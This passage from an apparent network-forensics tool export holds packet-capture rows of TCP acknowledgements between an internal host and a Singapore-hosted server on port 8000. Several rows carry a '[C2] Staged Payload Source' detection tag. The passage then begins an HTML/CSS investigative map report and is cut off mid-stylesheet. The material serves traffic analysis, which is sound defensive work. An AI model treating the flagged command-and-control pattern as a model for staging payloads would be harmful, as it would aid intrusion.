09:15:47.923548,1302,TCP 192.163.167.137:8000 -> 10.152.152.11:64118,192.163.167.137,10.152.152.11,8000,64118,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2959110023 Ack=3063512983,bc2411360d0cbc24112907bb080045000034286f400040060785c0a3a7890a98980b1f40fa76b0606f87b6997f978010003f0af700000101050ab6997f96b6997f97,\".$.6\n..$.)....E..4(o@.@.......\n....@.v.`o........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 10351, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 1925, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64118, \"\"seq\"\": 2959110023, \"\"ack\"\": 3063512983, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3063512982, 3063512983))]\"\"}}]\"\n2026-07-01 09:15:48.923541,1303,TCP 10.152.152.11:64118 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64118,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3063512982 Ack=2959110023,bc24112907bbbc2411360d0c080045000029b221400080063ddd0a98980bc0a3a789fa761f40b6997f96b0606f87501020141520000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45601, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15837, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64118, \"\"dport\"\": 8000, \"\"seq\"\": 3063512982, \"\"ack\"\": 2959110023, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 5408, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:48.923576,1304,TCP 192.163.167.137:8000 -> 10.152.152.11:64118,192.163.167.137,10.152.152.11,8000,64118,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2959110023 Ack=3063512983,bc2411360d0cbc24112907bb0800450000342870400040060784c0a3a7890a98980b1f40fa76b0606f87b6997f978010003f0af700000101050ab6997f96b6997f97,\".$.6\n..$.)....E..4(p@.@.......\n....@.v.`o........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 10352, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 1924, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64118, \"\"seq\"\": 2959110023, \"\"ack\"\": 3063512983, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3063512982, 3063512983))]\"\"}}]\"\n2026-07-01 09:15:49.923527,1305,TCP 10.152.152.11:64118 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64118,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3063512982 Ack=2959110023,bc24112907bbbc2411360d0c080045000029b222400080063ddc0a98980bc0a3a789fa761f40b6997f96b0606f87501020141520000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45602, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15836, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64118, \"\"dport\"\": 8000, \"\"seq\"\": 3063512982, \"\"ack\"\": 2959110023, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 5408, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:49.923558,1306,TCP 192.163.167.137:8000 -> 10.152.152.11:64118,192.163.167.137,10.152.152.11,8000,64118,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2959110023 Ack=3063512983,bc2411360d0cbc24112907bb0800450000342871400040060783c0a3a7890a98980b1f40fa76b0606f87b6997f978010003f0af700000101050ab6997f96b6997f97,\".$.6\n..$.)....E..4(q@.@.......\n....@.v.`o........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 10353, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 1923, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64118, \"\"seq\"\": 2959110023, \"\"ack\"\": 3063512983, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3063512982, 3063512983))]\"\"}}]\"\n2026-07-01 09:15:50.939201,1307,TCP 10.152.152.11:64118 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64118,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3063512982 Ack=2959110023,bc24112907bbbc2411360d0c080045000029b223400080063ddb0a98980bc0a3a789fa761f40b6997f96b0606f87501020141520000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45603, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15835, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64118, \"\"dport\"\": 8000, \"\"seq\"\": 3063512982, \"\"ack\"\": 2959110023, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 5408, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:50.939234,1308,TCP 192.163.167.137:8000 -> 10.152.152.11:64118,192.163.167.137,10.152.152.11,8000,64118,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2959110023 Ack=3063512983,bc2411360d0cbc24112907bb0800450000342872400040060782c0a3a7890a98980b1f40fa76b0606f87b6997f978010003f0af700000101050ab6997f96b6997f97,\".$.6\n..$.)....E..4(r@.@.......\n....@.v.`o........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 10354, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 1922, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64118, \"\"seq\"\": 2959110023, \"\"ack\"\": 3063512983, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3063512982, 3063512983))]\"\"}}]\"\n2026-07-01 09:15:51.954855,1309,TCP 10.152.152.11:64118 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64118,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3063512982 Ack=2959110023,bc24112907bbbc2411360d0c080045000029b224400080063dda0a98980bc0a3a789fa761f40b6997f96b0606f87501020141520000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45604, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15834, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64118, \"\"dport\"\": 8000, \"\"seq\"\": 3063512982, \"\"ack\"\": 2959110023, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 5408, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:51.954891,1310,TCP 192.163.167.137:8000 -> 10.152.152.11:64118,192.163.167.137,10.152.152.11,8000,64118,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2959110023 Ack=3063512983,bc2411360d0cbc24112907bb0800450000342873400040060781c0a3a7890a98980b1f40fa76b0606f87b6997f978010003f0af700000101050ab6997f96b6997f97,\".$.6\n..$.)....E..4(s@.@.......\n....@.v.`o........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 10355, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 1921, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64118, \"\"seq\"\": 2959110023, \"\"ack\"\": 3063512983, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3063512982, 3063512983))]\"\"}}]\"\n2026-07-01 09:15:52.970460,1311,TCP 10.152.152.11:64118 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64118,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3063512982 Ack=2959110023,bc24112907bbbc2411360d0c080045000029b225400080063dd90a98980bc0a3a789fa761f40b6997f96b0606f87501020141520000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45605, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15833, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64118, \"\"dport\"\": 8000, \"\"seq\"\": 3063512982, \"\"ack\"\": 2959110023, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 5408, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:52.970494,1312,TCP 192.163.167.137:8000 -> 10.152.152.11:64118,192.163.167.137,10.152.152.11,8000,64118,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2959110023 Ack=3063512983,bc2411360d0cbc24112907bb0800450000342874400040060780c0a3a7890a98980b1f40fa76b0606f87b6997f978010003f0af700000101050ab6997f96b6997f97,\".$.6\n..$.)....E..4(t@.@.......\n....@.v.`o........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 10356, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 1920, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64118, \"\"seq\"\": 2959110023, \"\"ack\"\": 3063512983, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3063512982, 3063512983))]\"\"}}]\"\n2026-07-01 09:15:53.986149,1313,TCP 10.152.152.11:64118 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64118,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3063512982 Ack=2959110023,bc24112907bbbc2411360d0c080045000029b226400080063dd80a98980bc0a3a789fa761f40b6997f96b0606f87501020141520000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45606, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15832, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64118, \"\"dport\"\": 8000, \"\"seq\"\": 3063512982, \"\"ack\"\": 2959110023, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 5408, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:53.986184,1314,TCP 192.163.167.137:8000 -> 10.152.152.11:64118,192.163.167.137,10.152.152.11,8000,64118,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2959110023 Ack=3063512983,bc2411360d0cbc24112907bb080045000034287540004006077fc0a3a7890a98980b1f40fa76b0606f87b6997f978010003f0af700000101050ab6997f96b6997f97,\".$.6\n..$.)....E..4(u@.@.......\n....@.v.`o........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 10357, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 1919, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64118, \"\"seq\"\": 2959110023, \"\"ack\"\": 3063512983, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3063512982, 3063512983))]\"\"}}]\"\n2026-07-01 09:15:55.001768,1315,TCP 10.152.152.11:64118 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64118,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3063512982 Ack=2959110023,bc24112907bbbc2411360d0c080045000029b227400080063dd70a98980bc0a3a789fa761f40b6997f96b0606f87501020141520000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45607, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 15831, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64118, \"\"dport\"\": 8000, \"\"seq\"\": 3063512982, \"\"ack\"\": 2959110023, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 5408, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:15:55.001784,1316,TCP 192.163.167.137:8000 -> 10.152.152.11:64118,192.163.167.137,10.152.152.11,8000,64118,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2959110023 Ack=3063512983,bc2411360d0cbc24112907bb080045000034287640004006077ec0a3a7890a98980b1f40fa76b0606f87b6997f978010003f0af700000101050ab6997f96b6997f97,\".$.6\n..$.)....E..4(v@.@..~....\n....@.v.`o........?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 10358, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 1918, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64118, \"\"seq\"\": 2959110023, \"\"ack\"\": 3063512983, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3063512982, 3063512983))]\"\"}}]\"\n"},"html_report":"<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Global Network Analysis - Investigative Map</title>\n    <!-- Light Theme UI -->\n    <link rel=\"stylesheet\" href=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.css\" />\n    <script src=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.js\"></script>\n    <script src=\"https://d3js.org/d3.v7.min.js\"></script>\n    <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css\" />\n    <style>\n        :root {\n            --bg-page: #f8fafc;\n            --panel-bg: #ffffff;\n            --border-ui: #e2e8f0;\n            --text-primary: #1e293b;\n            --text-secondary: #64748b;\n            --accent-main: #3b82f6;\n            --accent-success: #10b981;\n            --accent-danger: #ef4444;\n            --shadow-ui: 0 4px 6px -1px rgba(0, 0, 0, 0.1);\n        }\n\n        body, html {\n            margin: 0;\n            padding: 0;\n            width: 100%;\n            height: 100%;\n            overflow: hidden;\n            font-family: 'Inter', system-ui, -apple-system, sans-serif;\n            background: var(--bg-page);\n            color: var(--text-primary);\n        }\n\n        #app-layout {\n            display: grid;\n            grid-template-columns: 1fr 400px;\n            grid-template-rows: 60px 1fr;\n            height: 100vh;\n            width: 100vw;\n        }\n\n        header {\n            grid-column: 1 / 3;\n            background: var(--panel-bg);\n            border-bottom: 1px solid var(--border-ui);\n            display: flex;\n            align-items: center;\n            padding: 0 24px;\n            justify-content: space-between;\n            z-index: 1000;\n        }\n\n        .brand {\n            display: flex;\n            align-items: center;\n            gap: 12px;\n            font-weight: 800;\n            font-size: 1.2rem;\n            color: var(--accent-main);\n        }\n\n        #map-view {\n            position: relative;\n            background: #eee;\n        }\n\n        #side-inspector {\n            background: var(--panel-bg);\n            border-left: 1px solid var(--border-ui);\n            display: flex;\n            flex-direction: column;\n            overflow: hidden;\n            box-shadow: -4px 0 10px rgba(0,0,0,0.02);\n        }\n\n        .inspector-header {\n            padding: 20px;\n            background: #f1f5f9;\n            border-bottom: 1px solid var(--border-ui);\n        }\n\n        .inspector-content {\n            flex: 1;\n            overflow-y: auto;\n            padding: 20px;\n        }\n\n        .info-card {\n            background: #f8fafc;\n            border: 1px solid var(--border-ui);\n            border-radius: 10px;\n            padding: 15px;\n            margin-bottom: 15px;\n        }\n\n        .sec-title {\n            font-size: 0.75rem;\n            text-transform: uppercase;\n            letter-spacing: 0.05em;\n            color: var(--text-secondary);\n            margin-bottom: 10px;\n            font-weight: 700;\n        }\n\n        .data-row {\n            display: flex;\n            justify-content: space-between;\n            margin-bottom: 6px;\n            font-size: 0.85rem;\n        }\n\n        .data-label {\n            color: var(--text-secondary);\n        }\n\n        .data-value {\n            font-weight: 600;\n            word-break: break-all;\n            text-align: right;\n        }\n\n        .packet-list-item {\n            padding: 10px;\n            border: 1px solid var(--border-ui);\n            border-radius: 6px;\n            margin-bottom: 8px;\n            cursor: pointer;\n            transition: all 0.2s;\n            font-size: 0.8rem;\n            display: flex;\n            justify-content: space-between;\n        }\n\n        .packet-list-item:hover {\n            background: #f1f5f9;\n            border-color: var(--accent-main);\n        }\n\n\n        .hex-dump {\n            font-family: 'Fira Code', 'Courier New', monospace;\n            background: #0f172a;\n            color: #38bdf8;\n            padding: 15px;\n            border-radius: 8px;\n            overflow: auto;\n            flex: 1;\n            font-size: 0.85rem;\n            line-height: 1.4;\n        }\n\n        .stat-grid {\n          